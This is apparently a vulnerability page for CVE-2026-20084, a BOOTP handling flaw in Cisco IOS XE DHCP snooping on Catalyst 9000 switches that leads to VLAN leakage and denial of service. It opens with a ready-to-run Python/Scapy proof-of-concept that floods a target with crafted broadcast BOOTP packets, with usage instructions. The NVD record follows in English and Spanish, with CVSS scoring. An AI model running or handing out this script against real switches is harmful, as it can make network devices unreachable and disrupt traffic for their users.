CVE-2026-20084

#!/usr/bin/env python3 """ PoC for CVE-2026-20084 Description: Send crafted BOOTP packets to trigger VLAN leakage and High CPU. Note: Requires Scapy installed. """ from scapy.all import * import sys def send_bootp_packets(target_ip, iface, count=100): # Craft Ethernet frame eth = Ether(dst="ff:ff:ff:ff:ff:ff", src=RandMAC()) # Craft IP packet ip = IP(src="0.0.0.0", dst=target_ip) # Craft UDP packet (Bootp client port 68, server port 67) udp = UDP(sport=68, dport=67) # Craft BOOTP packet # xid: Transaction ID, chaddr: Client hardware address bootp = BOOTP(chaddr=RandString(12), xid=RandInt()) # Assemble packet packet = eth / ip / udp / bootp print(f"[*] Sending {count} BOOTP packets to {target_ip} on interface {iface}...") # Send packets sendp(packet, iface=iface, count=count, inter=0.1) print("[+] Packets sent successfully.") if __name__ == "__main__": # Usage: python3 poc.py <target_ip> <interface> [count] if len(sys.argv) < 3: print("Usage: python3 poc.py <target_ip> <interface> [count]") sys.exit(1) target = sys.argv[1] interface = sys.argv[2] pkt_count = int(sys.argv[3]) if len(sys.argv) > 3 else 100 send_bootp_packets(target, interface, pkt_count)

{"cve": {"id": "CVE-2026-20084", "sourceIdentifier": "[email protected]", "published": "2026-03-25T16:16:13.563", "lastModified": "2026-03-26T15:13:33.940", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the DHCP snooping feature of Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause BOOTP packets to be forwarded between VLANs, resulting in a denial of service (DoS) condition. \r\n\r This vulnerability is due to improper handling of BOOTP packets on Cisco Catalyst 9000 Series Switches. An attacker could exploit this vulnerability by sending BOOTP request packets to an affected device. A successful exploit could allow an attacker to forward BOOTP packets from one VLAN to another, resulting in BOOTP VLAN leakage and potentially leading to high CPU utilization. This makes the device unreachable (either through console or remote management) and unable to forward traffic, resulting in a DoS condition. \r\n\r Note: This vulnerability can be exploited with either unicast or broadcast BOOTP packets.\r\n\r There are workarounds that address this vulnerability."}, {"lang": "es", "value": "Una vulnerabilidad en la característica de DHCP snooping del software Cisco IOS XE podría permitir a un atacante remoto no autenticado causar que los paquetes BOOTP sean reenviados entre VLANs, resultando en una condición de denegación de servicio (DoS). Esta vulnerabilidad se debe a un manejo inadecuado de los paquetes BOOTP en los switches Cisco Catalyst de la serie 9000. Un atacante podría explotar esta vulnerabilidad enviando paquetes de solicitud BOOTP a un dispositivo afectado. Un exploit exitoso podría permitir a un atacante reenviar paquetes BOOTP de una VLAN a otra, resultando en una fuga de VLAN BOOTP y potencialmente llevando a una alta utilización de la CPU. Esto hace que el dispositivo sea inalcanzable (ya sea a través de la consola o la gestión remota) e incapaz de reenviar tráfico, resultando en una condición de DoS. Nota: Esta vulnerabilidad puede ser explotada con paquetes BOOTP unicast o broadcast. Existen soluciones alternativas que abordan esta vulnerabilidad."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-bootp-WuBhNBxA", "source": "[email protected]"}]}}